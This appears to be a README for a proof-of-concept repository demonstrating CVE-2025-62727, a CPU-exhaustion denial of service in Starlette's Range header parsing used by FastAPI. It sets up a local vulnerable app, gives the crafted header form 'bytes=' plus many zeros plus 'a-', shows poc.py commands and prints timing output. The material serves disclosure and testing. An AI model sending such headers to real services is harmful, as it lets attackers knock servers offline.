ch4n3-yoon/cve-2025-62727-demoProof of concept of CVE-2025-62727 that can cause denial-of-service in FastAPI (based Starlette <= 0.48.0)
The target victim of CVE-2025-62727 is a simple FastAPI app that:
Hello World at /./static using Starlette's StaticFiles.A repeated N times for N in 1024, 2048, 50176 on startup.(Optional) Create and activate a virtualenv.
Install dependencies:
pip install -r requirements.txt
Start the server:
uvicorn main:app --reload
Open:
http://127.0.0.1:8000/ for the index page.http://127.0.0.1:8000/static/1024.txt etc. for static files.static/ directory on app startup. Existing files are not overwritten.StaticFiles as requested.The included poc.py triggers CPU-heavy Range parsing in Starlette's FileResponse via the /static route using a crafted header of the form bytes=000...000a-.
Run the server, then in another shell:
python3 poc.py --sizes 1000,2000,4000,7000
Override the target URL (optional):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
Notes:
http://127.0.0.1:8000/static/50176.txt by default (a file the app generates). Use --url to change it.--sizes downward if you see 400/431 (header too large), or upward if headers succeed and you want a stronger effect.Result Exmaple:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms